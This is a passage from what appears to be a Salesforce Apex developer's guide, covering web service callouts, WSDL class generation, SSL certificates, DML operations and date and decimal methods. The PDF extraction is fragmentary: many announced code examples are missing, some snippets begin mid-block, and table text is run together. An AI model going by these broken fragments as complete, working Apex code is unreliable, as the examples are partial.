• Salesforce.com denies access to Web service and executeanonymous requests from an AppExchange package that has
Restricted access.
• Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.
The following example shows a class with Web service member variables as well as a Web service method:
insert parent;
child.parentId = parent.Id;
insert child;
grandChild.parentId = child.Id;
insert grandChild;
You can invoke this Web service using AJAX. For more information, see Apex in AJAX on page 84.
196
Exposing Apex Methods as Web Services Overloading Web Service Methods
197
Chapter 12
Invoking Callouts Using Apex
In this chapter ... An Apex callout enables you to tightly integrate your Apex with an external
service by making a call to an external Web service or sending a HTTP request
• Adding Remote Site Settings from an Apex script and then receiving the response. Apex provides integration
• SOAP Services: Defining a Class with Web services that utilize SOAP and WSDL, or HTTP services (RESTful
from a WSDL Document services).
• Invoking HTTP Callouts Note: Before any Apex callout can call an external site, that site must
• Using Certificates be registered in the Remote Site Settings page, or the callout fails.
• Callout Limits Salesforce.com prevents calls to unauthorized network addresses.
198
Invoking Callouts Using Apex Adding Remote Site Settings
4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each
namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema
constructs that are not supported by Apex classes, or if the resulting classes exceed 1 million character limit on Apex classes.
For example, the Salesforce.com SOAP API WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the
same class name for each namespace, Apex classes can be no more than 1 million characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors
from other classes. The page also provides a link to view successfully-generated code.
199
Invoking Callouts Using Apex Invoking an External Service
The successfully-generated Apex class includes stub and type classes for calling the third-party Web service represented by
the WSDL document. These classes allow you to call the external Web service from Apex.
Note the following about the generated Apex:
• If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated.
For example, limit in a WSDL document converts to limit_x in the generated Apex class. See Reserved Keywords on
page 438. For details on handling characters in element names in a WSDL that are not supported in Apex variable names,
see Considerations Using WSDLs on page 206.
• If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements
in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual
elements.
After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL.
Note: Before you can use the samples in the rest of this topic, you must copy the Apex class docSampleClass from
Understanding the Generated Code and add it to your organization.
The following samples work with the sample WSDL file in Understanding the Generated Code on page 203:
200
Invoking Callouts Using Apex Supported WSDL Features
stub.inputHttpHeaders_x.put('Cookie', 'name=value');
The value of outputHttpHeaders_x is null by default. You must set outputHttpHeaders_x before you have access to
the content of headers in the response.
201
Invoking Callouts Using Apex Supported WSDL Features
Note: The Salesforce.com datatype anyType is not supported in WSDLs used to generate Apex code that is saved
using API version 15.0 and later. For code saved using API version 14.0 and earlier, anyType is mapped to String.
• xsd:sequence
The following data types are only supported when used as call ins, that is, when an external Web service calls an Apex Web
service method. These data types are not supported as callouts, that is, when an Apex Web service method calls an external
Web service.
• blob
• decimal
• enum
Apex does not support any other WSDL constructs, types, or services, including:
• RPC/encoded services
• WSDL files with mulitple portTypes, multiple services, or multiple bindings
• WSDL files that import external schemas. For example, the following WSDL fragment imports an external schema, which
is not supported:
<wsdl:types>
<xsd:schema
elementFormDefault="qualified"
202
Invoking Callouts Using Apex Understanding the Generated Code
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:include schemaLocation="AmazonS3.xsd"/>
</xsd:schema>
</wsdl:types>
However, an import within the same schema is supported. In the following example, the external WSDL is pasted into
the WSDL you are converting:
<wsdl:types>
<xsd:schema
xmlns:tns="http://s3.amazonaws.com/doc/2006-03-01/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
elementFormDefault="qualified"
targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
<xsd:element name="CreateBucket">
<xsd:complexType>
<xsd:sequence>
[...]
</xsd:schema>
</wsdl:types>
<wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:s="http://www.w3.org/2001/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://doc.sample.com/docSample"
targetNamespace="http://doc.sample.com/docSample"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">
<!-- Above, the schema targetNamespace maps to the Apex class name. -->
<!-- Below, the type definitions for the parameters are listed.
Each complexType and simpleType parameteris mapped to an Apex class inside the parent
class for the WSDL. Then, each element in the complexType is mapped to a public field
inside the class. -->
<wsdl:types>
<s:schema elementFormDefault="qualified"
targetNamespace="http://doc.sample.com/docSample">
<s:element name="EchoString">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" />
</s:sequence>
</s:complexType>
</s:element>
<s:element name="EchoStringResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="0" maxOccurs="1" name="EchoStringResult"
type="s:string" />
</s:sequence>
</s:complexType>
203
Invoking Callouts Using Apex Understanding the Generated Code
</s:element>
</s:schema>
</wsdl:types>
<wsdl:message name="EchoStringSoapIn">
<wsdl:part name="parameters" element="tns:EchoString" />
</wsdl:message>
<wsdl:message name="EchoStringSoapOut">
<wsdl:part name="parameters" element="tns:EchoStringResponse" />
</wsdl:message>
<wsdl:portType name="DocSamplePortType">
<wsdl:operation name="EchoString">
<wsdl:input message="tns:EchoStringSoapIn" />
<wsdl:output message="tns:EchoStringSoapOut" />
</wsdl:operation>
</wsdl:portType>
<!--The code below defines how the types map to SOAP. -->
<!-- Finally, the code below defines the endpoint, which maps to the endpoint in the class
-->
<wsdl:service name="DocSample">
<wsdl:port name="DocSamplePort" binding="tns:DocSampleBinding">
<soap:address location="http://www.salesforcesampletest.org/WebServices/DocSample.asmx" />
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
From this WSDL document, the following Apex class can be generated:
//Generated by wsdl2apex
204
Invoking Callouts Using Apex Understanding the Generated Code
205
Invoking Callouts Using Apex Considerations Using WSDLs
Mapping Headers
Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the
AJAX Toolkit and .NET works.
206
Invoking Callouts Using Apex Using Certificates
For more information and samples, see HTTP (RESTful) Services Classes on page 373. Also, the Force.com Toolkit for
Google Data APIs makes extensive use of HTTP callouts.
Using Certificates
You can use two-way SSL authentication by sending a certificate generated in Salesforce.com or signed by a certificate authority
(CA) with your callout. This enhances security as the target of the callout receives the certificate and can use it to authenticate
the request against its keystore.
To enable two-way SSL authentication for a callout:
1. Generate a certificate.
2. Integrate the certificate with your code. See Using Certificates with SOAP Services and Using Certificates with HTTP
Requests.
3. If you are connecting to a third-party and you are using a self-signed certificate, share the Salesforce.com certificate with
them so that they can add the certificate to their keystore. If you are connecting to another application used within your
organization, configure your Web or application server to request a client certificate. This process depends on the type of
Web or application server you use. For an example of how to set up two-way SSL with Apache Tomcat, see
wiki.developerforce.com/index.php/Making_Authenticated_Web_Service_Callouts_Using_Two-Way_SSL.
4. Configure the remote site settings for the callout. Before any Apex callout can call an external site, that site must be
registered in the Remote Site Settings page, or the callout fails.
Generating Certificates
You can use a self-signed certificate generated in Salesforce.com or a certificate signed by a certificate authority (CA). To
generate a certificate for a callout:
1. Decide which type of certificate to create based on whether your external website accepts self-signed certificates, or if it
requires CA-signed. You can't change the type of a certificate after you've created it.
2. Click Your Name ➤ Setup ➤ Security Controls ➤ Certificate and Key Management, then click either Create Self-Signed
Certificate or Create CA-Signed Certificate. This selects the type of certificate, and cannot be changed later.
3. Enter a descriptive label for the Salesforce.com certificate. This name is used primarily by administrators when viewing
certificates.
4. Enter the Unique Name. This name is automatically populated based on the certificate label you enter. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the Unique
Name when referring to the certificate using the Force.com Web services API or Apex.
5. Select a Key Size for your generated certificate and keys. Selecting 2048 (the default) generates a certificate using 2048-bit
keys and is valid for two years. Selecting 1024 generates a certificate using 1024-bit keys and is valid for one year.
Salesforce.com recommends that you specify 2048 for security reasons.
Note: Once you save a Salesforce.com certificate, you can't change the key size.
6. If you're creating a CA-signed certificate, you must also enter the following information. These fields are joined together
to generate a unique certificate.
207
Invoking Callouts Using Apex Using Certificates with SOAP Services
Field Description
Common Name The fully qualified domain name of the company requesting
the signed certificate. This is generally of the form:
http://www.mycompany.com.
7. Click Save.
After you successfully save a Salesforce.com certificate, the certificate and corresponding keys are automatically generated.
After you create a CA-signed certificate, you must upload the signed certificate before you can use it. See “Uploading Certificate
Authority (CA)-Signed Certificates” in the Salesforce.com online help.
There is a legacy process for using a certificate obtained from a third party for your organization. Encode your client certificate
key in base64, and assign it to the clientCert_x variable on the stub. This is inherently less secure than using a Salesforce.com
certificate because it does not follow security best practices for protecting private keys. When you use a Salesforce.com certificate,
the private key is not shared outside Salesforce.com.
208
Invoking Callouts Using Apex Using Certificates with HTTP Requests
Note: Do not use a client certificate generated from Your Name ➤ Setup ➤ Develop ➤ API ➤ Generate Client
Certificate. You must use a certificate obtained from a third party for your organization if you use the legacy process.
The following example illustrates the legacy process and works with the sample WSDL file in Understanding the Generated
Code on page 203.
Callout Limits
The following limits apply when an Apex script makes a callout to an HTTP request or a Web services call. The Web services
call can be a Web services API call or any external Web services call.
• A single Apex transaction can make a maximum of 10 callouts to an HTTP request or an API call.
• The default timeout is 10 seconds. A custom timeout can be defined for each callout. The minimum is 1 millisecond and
the maximum is 60 seconds. See the following examples for how to set custom timeouts for Web services or HTTP callouts.
• The maximum cumulative timeout for callouts by a single Apex transaction is 120 seconds. This time is additive across all
callouts invoked by the Apex transaction.
209
Invoking Callouts Using Apex Callout Limits
210
Chapter 13
Reference
In this chapter ... The Apex reference contains information about the Apex language.
• Apex Data Manipulation Language • Data manipulation language (DML) operations—used to manipulate data
(DML) Operations in the database
• Apex Standard Classes and Methods • Standard classes and methods—available for primitive data types, collections,
sObjects, and other parts of Apex
• Apex Classes
• Apex classes—prebuilt classes available for your use
• Apex Interfaces
• Apex interfaces on page 412—interfaces you can implement
211
Reference Apex Data Manipulation Language (DML) Operations
insert SObject[]
While most DML operations are available in either form, some exist only in one form or the other.
The different DML operation forms enable different types of exception processing:
• Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception
that immediately interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions
are handled in most database procedural languages.
• Use DML database methods if you want to allow partial success of a bulk DML operation—if a record fails, the remainder
of the DML operation can still succeed. Your application can then inspect the rejected records and possibly retry the
operation. When using this form, you can write code that never throws DML exception errors. Instead, your code can use
the appropriate results array to judge success or failure. Note that DML database methods also include a syntax that supports
thrown exceptions, similar to DML statements.
The following Apex DML operations are available:
• convertLead1
• delete
• insert
• merge2
• undelete
• update
• upsert
1
convertLead is only available as a database method.
2
merge is only available as an Apex DML statement.
212
Reference ConvertLead Operation
ConvertLead Operation
The convertLead DML operation converts a lead into an account and contact, as well as (optionally) an opportunity.
Note: convertLead is only available as a database method.
213
Reference ConvertLead Operation
3. Optionally, your application determines the IDs of the contact or contacts into which to merge the lead. The application
can use SOQL to search for contacts that match the lead contact name, as in the following example:
select id, name from contact where firstName='FirstName' and lastName='LastName' and
accountId = '001...'
4. Optionally, the application determines whether opportunities should be created from the leads.
5. The application queries the LeadSource table to obtain all of the possible converted status options (SELECT ... FROM
LeadStatus WHERE IsConverted='1'), and then selects a value for the converted status.
6. The application calls convertLead.
7. The application iterates through the returned result or results and examines each LeadConvertResult object to determine
whether conversion succeeded for each lead.
8. Optionally, when converting leads owned by a queue, the owner must be specified. This is because accounts and contacts
cannot be owned by a queue. Even if you are specifying an existing account or contact, you must still specify an owner.
214
Reference ConvertLead Operation
LeadConvertResult Object
An array of LeadConvertResult objects is returned with the convertLead database method. Each element in the
LeadConvertResult array corresponds to the SObject array passed as the SObject[] parameter in the convertLead database
method, that is, the first element in the LeadConvertResult array matches the first element passed in the SObject array, the
second element corresponds with the second element, and so on. If only one SObject is passed in, the LeadConvertResults
array contains a single element.
A LeadConvertResult object has the following methods:
215
Reference Delete Operation
isSuccess Boolean A Boolean value that is set to true if the DML operation was
successful for this object, false otherwise
Delete Operation
The delete DML operation deletes one or more existing sObject records, such as individual accounts or contacts, from your
organization’s data. delete is analogous to the delete() statement in the Web services API.
216
Reference Delete Operation
• To ensure referential integrity, delete supports cascading deletions. If you delete a parent object, you delete its children
automatically, as long as each child record can be deleted.
For example, if you delete a case record, Apex automatically deletes any CaseComment, CaseHistory, and CaseSolution
records associated with that case. However, if a particular child record is not deletable or is currently being used, then the
delete operation on the parent case record fails.
• Certain sObjects cannot be deleted. To delete an sObject record, the deletable property of the sObject must be set to
true. Also, see sObjects That Do Not Support DML Operations on page 229.
• You can pass a maximum of 1000 sObject records to a single delete method.
DeleteResult Object
An array of Database.DeleteResult objects is returned with the delete database method. Each element in the DeleteResult
array corresponds to the sObject array passed as the sObject[] parameter in the delete database method, that is, the first
element in the DeleteResult array matches the first element passed in the sObject array, the second element corresponds with
the second element, and so on. If only one sObject is passed in, the DeleteResults array contains a single element.
A Database.DeleteResult object has the following methods:
Account[] doomedAccts = [select id, name from account where name = 'DotCom'];
try {
delete doomedAccts;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 231.
217
Reference Insert Operation
Insert Operation
The insert DML operation adds one or more sObjects, such as individual accounts or contacts, to your organization’s data.
insert is analogous to the INSERT statement in SQL.
The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this
parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that
can be used to verify which records succeeded, which failed, and why.
For example:
The optional opt_DMLOptions parameter specifies additional data for the transaction, such as assignment rule information
or truncation behavior.
For example:
//AssignmentRuleHeader
//UseDefaultRule
database.DMLOptions dmo = new database.DMLOptions();
dmo.AssignmentRuleHeader.UseDefaultRule= true;
insert l;
218
Reference Insert Operation
• The insert statement is not supported with some sObjects. See sObjects That Do Not Support DML Operations on
page 229.
• This operation checks each batch of records for duplicate ID values. If there are duplicates, the first five are processed. For
the sixth and all additional duplicate IDs, the SaveResult for those entries is marked with an error similar to the following:
Maximum number of duplicate updates in one batch (5 allowed). Attempt to update
Id more than once in this API call: number_of_attempts.
SaveResult Object
An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult
array corresponds to the sObject array passed as the sObject[] parameter in the database method, that is, the first element
in the SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second
element, and so on. If only one sObject is passed in, the SaveResults array contains a single element.
A SaveResult object has the following methods:
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 231.
219
Reference Merge Statement
false);
Merge Statement
The merge statement merges up to three records of the same sObject type into one of the records, deleting the others, and
re-parenting any related records.
Note: This DML operation does not have a matching database system method.
Syntax
merge sObject sObject
merge sObject sObject[]
merge sObject ID
merge sObject ID[]
The first parameter represents the master record into which the other records are to be merged. The second parameter represents
the one or two other records that should be merged and then deleted. You can pass these other records into the merge statement
as a single sObject record or ID, or as a list of two sObject records or IDs.
Example
The following example merges two accounts named 'Acme Inc.' and 'Acme' into a single record:
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 231.
220
Reference Undelete Operation
Undelete Operation
The undelete DML operation restores one or more existing sObject records, such as individual accounts or contacts, from
your organization’s Recycle Bin. undelete is analogous to the UNDELETE statement in SQL.
The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this
parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that
can be used to verify which records succeeded, which failed, and why.
• Certain sObjects cannot be undeleted. To verify if an sObject record can be undeleted, check that the undeletable
property of the sObject is set to true.
• You can pass a maximum of 1000 sObject records to a single undelete method.
• You can undelete records that were deleted as the result of a merge, but the child objects will have been re-parented, which
cannot be undone.
• Use the ALL ROWS parameters with a SOQL query to identify deleted records, including records deleted as a result of a
merge. See Querying All Records with a SOQL Statement on page 62.
• Undelete is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 229.
221
Reference Undelete Operation
UndeleteResult Object
An array of Database.UndeleteResult objects is returned with the undelete database method. Each element in the
UndeleteResult array corresponds to the sObject array passed as the sObject[] parameter in the undelete database method,
that is, the first element in the UndeleteResult array matches the first element passed in the sObject array, the second element
corresponds with the second element, and so on. If only one sObject is passed in, the UndeleteResults array contains a single
element.
An undeleteResult object has the following methods:
Account[] savedAccts = [select id, name from account where name = 'Trump' ALL ROWS];
try {
undelete savedAccts;
} catch (DmlException e) {
// Process exception here
}
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 231.
222
Reference Update Operation
Update Operation
The update DML operation modifies one or more existing sObject records, such as individual accounts or contacts, in your
organization’s data. update is analogous to the UPDATE statement in SQL.
The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this
parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that
can be used to verify which records succeeded, which failed, and why.
The optional opt_DMLOptions parameter specifies additional data for the transaction, such as assignment rule information
or truncation behavior.
For more information, see Database DMLOptions Methods on page 296.
223
Reference Update Operation
// Now we can change fields for both the contact and its
// associated account
c.account.name = 'salesforce.com';
c.lastName = 'Roth';
• Update is not supported with some sObjects. See sObjects That Do Not Support DML Operations on page 229.
SaveResult Object
An array of SaveResult objects is returned with the insert and update database methods. Each element in the SaveResult
array corresponds to the sObject array passed as the sObject[] parameter in the database method, that is, the first element
in the SaveResult array matches the first element passed in the sObject array, the second element corresponds with the second
element, and so on. If only one sObject is passed in, the SaveResults array contains a single element.
A SaveResult object has the following methods:
Account myAcct = [select id, name, billingcity from account where name = 'Acme2' limit 1];
myAcct.billingcity = 'San Francisco';
try {
update myAcct;
} catch (DmlException e) {
// Process exception here
}
224
Reference Upsert Operation
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 231.
Account myAcct = [select id, name, billingcity from account limit 1];
myAcct.billingcity = 'San Francisco';
Database.SaveResult SR = database.update(myAcct);
for(Database.Error err: SR.getErrors())
{
// process any errors here
}
Upsert Operation
The upsert DML operation creates new sObject records and updates existing sObject records within a single statement,
using an optional custom field to determine the presence of existing objects.
The optional External_ID_Field parameter is an optional variable that specifies the custom field that should be used to
match records that already exist in your organization's data. This custom field must be created with the External Id attribute
selected. Additionally, if the field does not have the Unique attribute selected, the context user must have the “View All”
object-level permission for the target object or the “View All Data” permission so that upsert does not accidentally insert a
duplicate record.
The External_ID_Field is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the
fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId.
If External_ID_Field is not specified, the sObject record's ID field is used by default.
225
Reference Upsert Operation
Note: Custom field matching is case-insensitive only if the custom field has the Unique and Treat "ABC" and "abc"
as duplicate values (case insensitive) attributes selected as part of the field definition. If this is the case, “ABC123”
is matched with “abc123.” For more information, see “Creating Custom Fields” in the Salesforce.com online help.
The optional opt_allOrNone parameter specifies whether the operation allows partial success. If you specify false for this
parameter and a record fails, the remainder of the DML operation can still succeed. This method returns a result object that
can be used to verify which records succeeded, which failed, and why.
UpsertResult Object
An array of Database.UpsertResult objects is returned with the upsert database method. Each element in the UpsertResult
array corresponds to the sObject array passed as the sObject[] parameter in the upsert database method, that is, the first
element in the UpsertResult array matches the first element passed in the sObject array, the second element corresponds with
the second element, and so on. If only one sObject is passed in, the UpsertResults array contains a single element.
An UpsertResult object has the following methods:
226
Reference Upsert Operation
Note: For more information on processing DmlExceptions, see Bulk DML Exception Handling on page 231.
This next example uses upsert and an external ID field Line_Item_Id__c on the Asset object to maintain a one-to-one
relationship between an asset and an opportunity line item. Use of upsert with an external ID can reduce the number of
DML statements in your code, and help you to avoid hitting governor limits (see Understanding Execution Governors and
Limits on page 184).
Note: This example requires the addition of a custom text field on the Asset object named Line_Item_Id__c. This
field must be flagged as an external ID. For information on custom fields, see the Salesforce.com online help.
227
Reference Upsert Operation
//This code populates the line item Id, AccountId, and Product2Id for each asset
Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
Line_Item_ID__c = lineItem.Id,
AccountId = opp.AccountId,
Product2Id = lineItem.PricebookEntry.Product2Id);
assets.add(asset);
}
try {
upsert assets Line_Item_ID__c; // This line upserts the assets list with
// the Line_Item_Id__c field specified as the
// Asset field that should be used for matching
// the record that should be upserted.
} catch (DmlException e) {
System.debug(e.getMessage());
}
}
/* Perform the upsert. In this case the unique identifier for the
insert or update decision is the Salesforce record ID. If the
record ID is null the row will be inserted, otherwise an update
will be attempted. */
List<Database.upsertResult> uResults = Database.upsert(leads,false);
/* This is the list for new tasks that will be inserted when new
leads are created. */
List<Task> tasks = new List<Task>();
for(Database.upsertResult result:uResults) {
if (result.isSuccess() && result.isCreated())
tasks.add(new Task(subject = 'Follow-up', whoId = result.getId()));
}
return uResults;
}
228
Reference sObjects That Do Not Support DML Operations
/* Iterate over the results, asserting success and adding the new ID
to the set for use in the comprehensive assertion phase below. */
for(Database.upsertResult result:results) {
System.assert(result.isSuccess());
ids.add(result.getId());
}
/* Assert that exactly one task exists for each lead that was inserted. */
for(Lead l:[select id, (select subject from Tasks) from lead where Id in :ids]) {
System.assertEquals(1,l.tasks.size());
}
229
Reference sObjects That Cannot Be Used Together in DML Operations
• UserRole
• UserTerritory
• Territory
• Custom settings in Apex code that is saved using Salesforce.com API version 17.0 and earlier.
For these sObjects, there are no restrictions on delete DML operations.
Important: The primary exception to this is when you are using the runAs method in a test. For more information,
see System Methods on page 307.
You can perform DML operations on more than one type of sObject in a single class using the following process:
1. Create a method that performs a DML operation on one type of sObject.
2. Create a second method that uses the future annotation to manipulate a second sObject type.
If you are using a Visualforce page with a custom controller, you can only perform DML operations on a single type of sObject
within a single request or action. However, you can perform DML operations on different types of sObjects in subsequent
requests, for example, you could create an account with a save button, then create a user with a submit button.
230
Reference Bulk DML Exception Handling
Class.method(args)
Standard static methods for primitive data types do not have an implicit parameter, and are invoked with no object context.
For example, the following expression rounds the value of 1.75 to the nearest Integer without using any other values.
Math.roundToLong(1.75);
All instance methods occur on expressions of a particular data type, such as a list, set, or string. For example:
Integer i = s.length();
Note: If a method is called with an object expression that evaluates to null, the Apex runtime engine throws a null
pointer exception.
231
Reference Primitives Methods
Some classes use a namespace as a grouping mechanism for their methods. For example, the message class uses the ApexPages
namespace.
The Apex standard classes are grouped into the following categories:
• Primitives
• Collections
• Enums
• sObjects
• System
• Exceptions
Primitives Methods
Blob Methods
The following is the system static method for Blob.
232
Reference Apex Primitive Methods
For more information on Blobs, see Primitive Data Types on page 27.
Boolean Methods
The following are the static methods for Boolean.
For more information on Boolean, see Primitive Data Types on page 27.
Date Methods
The following are the system static methods for Date.
Integer numberDays =
date.daysInMonth(1960, 2);
isLeapYear Integer year Boolean Returns true if the specified year is a leap year
newInstance Integer year Date Constructs a Date from Integer representations of the
year, month (1=Jan), and day. The following example
Integer month
creates the date February 17th, 1960:
Integer date
Date myDate =
date.newinstance(1960, 2, 17);
parse String Date Date Constructs a Date from a String. The format of the
String depends on the local date format. The following
example works in some locales:
date mydate = date.parse('12/27/2009');
233
Reference Apex Primitive Methods
valueOf anyType x Date Casts x, a history tracking table field of type anyType,
to a Date. For more information on the anyType data
type, see Field Types in the Web Services API Developer's
Guide.
date myDate =
date.newInstance(1960, 2, 17);
date newDate = mydate.addDays(2);
addMonths Integer addlMonths Date Adds the specified number of addlMonths to a Date
addYears Integer addlYears Date Adds the specified number of addlYears to a Date
day Integer Returns the day-of-month component of a Date. For
example, February 5, 1999 would be day 5.
dayOfYear Integer Returns the day-of-year component of a Date. For
example, February 5, 1999 would be day 36.
daysBetween Date compDate Integer Returns the number of days between the Date that called
the method and the compDate. If the Date that calls
the method occurs after the compDate, the return value
is negative. For example:
date startDate =
date.newInstance(2008, 1, 1);
date dueDate =
date.newInstance(2008, 1, 30);
integer numberDaysDue =
startDate.daysBetween(dueDate);
234
Reference Apex Primitive Methods
For more information on Dates, see Primitive Data Types on page 27.
Datetime Methods
The following are the system static methods for Datetime.
235
Reference Apex Primitive Methods
newInstanceGmt Date date Datetime Constructs a DateTime from the specified date and
time in the GMT time zone.
Time time
parse String datetime Datetime Constructs a Datetime from the String datetime in
the local time zone and format. The following example
works in some locales:
valueOf String s Datetime Returns a Datetime that contains the value of the
specified String. The String should use the standard date
format “yyyy-MM-dd HH:mm:ss” in the local time
zone. For example:
string year = '2008';
string month = '10';
string day = '5';
string hour = '12';
string minute = '20';
string second = '20';
236
Reference Apex Primitive Methods
Datetime myDate =
datetime.valueOf(stringDate);
valueOf anyType x Datetime Casts x, a history tracking table field of type anyType,
to a Datetime. For more information on the anyType
data type, see Field Types in the Web Services API
Developer's Guide.
valueOfGmt String s Datetime Returns a Datetime that contains the value of the
specified String. The String should use the standard date
format “yyyy-MM-dd HH:mm:ss” in the GMT time
zone
datetime myDate =
datetime.newInstance
(1960, 2, 17);
datetime newDate = mydate.addDays(2);
addHours Integer addlHours Datetime Adds the specified number of addlHours to a Datetime
addMinutes Integer addlMinutes Datetime Adds the specified number of addlMinutes to a Datetime
addMonths Integer addlMonths Datetime Adds the specified number of addlMonths to a Datetime
addSeconds Integer addlSeconds Datetime Adds the specified number of addlSeconds to a Datetime
addYears Integer addlYears Datetime Adds the specified number of addlYears to a Datetime
date Date Returns the Date component of a Datetime in the local time
zone of the context user.
dateGMT Date Return the Date component of a Datetime in the GMT
timezone
day Integer Returns the day-of-month component of a Datetime in the
local time zone of the context user. For example, February 5,
1999 08:30:12 would be day 5.
dayGmt Integer Returns the day-of-month component of a Datetime in the
GMT time zone. For example, February 5, 1999 08:30:12
would be day 5.
237
Reference Apex Primitive Methods
format String dateFormat String Returns a Datetime as a string using the supplied Java simple
date format and time zone. If the supplied time zone is not in
String timezone
the correct format, GMT is used.
For more information on the Java simple date format, see
http://java.sun.com/j2se/1.4.2/docs/api/java/text/SimpleDateFormat.html.
formatGmt StringdateFormat String Returns a Datetime as a string using the supplied Java simple
date format and the GMT time zone.
For more information on the Java simple date format, see
http://java.sun.com/j2se/1.4.2/docs/api/java/text/SimpleDateFormat.html.
formatLong String Returns a Datetime using the local time zone of the current
user, including seconds and time zone
getTime Long Returns the number of milliseconds since January 1, 1970,
00:00:00 GMT represented by this DateTime object
hour Integer Returns the hour component of a Datetime in the local time
zone of the context user
hourGmt Integer Returns the hour component of a Datetime in the GMT time
zone
238
Reference Apex Primitive Methods
For more information about the Datetime, see Primitive Data Types on page 27.
Decimal Methods
The following are the system static methods for Decimal.
239
Reference Apex Primitive Methods
Decimal D = 19;
D.Divide(100, 3);
divide Decimal divisor, Decimal Divides this Decimal by divisor, sets the scale, that
Integer scale, is, the number of decimal places, of the result using
Object scale, and if necessary, rounds the value using
roundingMode roundingMode. For more information about the valid
values for roundingMode, see Rounding Mode on page
242. For example:
240
Reference Apex Primitive Methods
precision Integer Returns the total number of digits for the Decimal. For
example, if the Decimal value was 123.45, precision
returns 5. If the Decimal value is 123.123, precision
returns 6. For example:
Decimal D1 = 123.45;
Integer precision1 = D1.precision();
system.assertEquals(precision1, 5);
Decimal D2 = 123.123;
Integer precision2 = D2.precision();
system.assertEquals(precision2, 6);
Decimal D1 = 5.5;
Long L1 = D1.round();
system.assertEquals(L1, 6);
241
Reference Apex Primitive Methods
setScale Integer scale, Decimal Sets the scale of the Decimal to the given number of
System.RoundingMode decimal places, using the rounding mode specified by
roundingMode roundingMode , if necessary. For more information
about the valid values for roundingMode, see Rounding
Mode on page 242.The value of scale must be between
-32,768 and 32,767.
If you do not explicitly set the scale for a Decimal, the
scale is determined by the item from which the Decimal
is created:
• If the Decimal is created as part of a query, the scale
is based on the scale of the field returned from the
query.
• If the Decimal is created from a String, the scale is
the number of characters after the decimal point of
the String.
• If the Decimal is created from a non-decimal
number, the scale is determined by converting the
number to a String and then using the number of
characters after the decimal point.
stripTrailingZeros Decimal Returns the Decimal with any trailing zeros removed.
toPlainString String Returns the String value of this Decimal, without using
scientific notation.
For more information on Decimal, see Primitive Data Types on page 27.
Rounding Mode
Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision. Each rounding mode
indicates how the least significant returned digit of a rounded result is to be calculated. The following are the valid values for
roundingMode.
242
Reference Apex Primitive Methods
Name Description
CEILING Rounds towards positive infinity. That is, if the result is positive, this mode behaves the
same as the UP rounding mode; if the result is negative, it behaves the same as the DOWN
rounding mode. Note that this rounding mode never decreases the calculated value. For
example:
• Input number 5.5: CEILING round mode result: 6
• Input number 1.1: CEILING round mode result: 2
• Input number -1.1: CEILING round mode result: -1
• Input number -2.7: CEILING round mode result: -2
DOWN Rounds towards zero. This rounding mode always discards any fractions (decimal points)
prior to executing. Note that this rounding mode never increases the magnitude of the
calculated value. For example:
• Input number 5.5: DOWN round mode result: 5
• Input number 1.1: DOWN round mode result: 1
• Input number -1.1: DOWN round mode result: -1
• Input number -2.7: DOWN round mode result: -2
FLOOR Rounds towards negative infinity. That is, if the result is positive, this mode behaves the
same as theDOWN rounding mode; if negative, this mode behaves the same as the UP
rounding mode. Note that this rounding mode never increases the calculated value. For
example:
• Input number 5.5: FLOOR round mode result: 5
• Input number 1.1: FLOOR round mode result: 1
• Input number -1.1: FLOOR round mode result: -2
• Input number -2.7: FLOOR round mode result: -3
HALF_DOWN Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which
case this mode rounds down. This rounding mode behaves the same as the UP rounding
mode if the discarded fraction (decimal point) is > 0.5; otherwise, it behaves the same as
DOWN rounding mode. For example:
• Input number 5.5: HALF_DOWN round mode result: 5
• Input number 1.1: HALF_DOWN round mode result: 1
• Input number -1.1: HALF_DOWN round mode result: -1
• Input number -2.7: HALF_DOWN round mode result: -2
HALF_EVEN Rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which
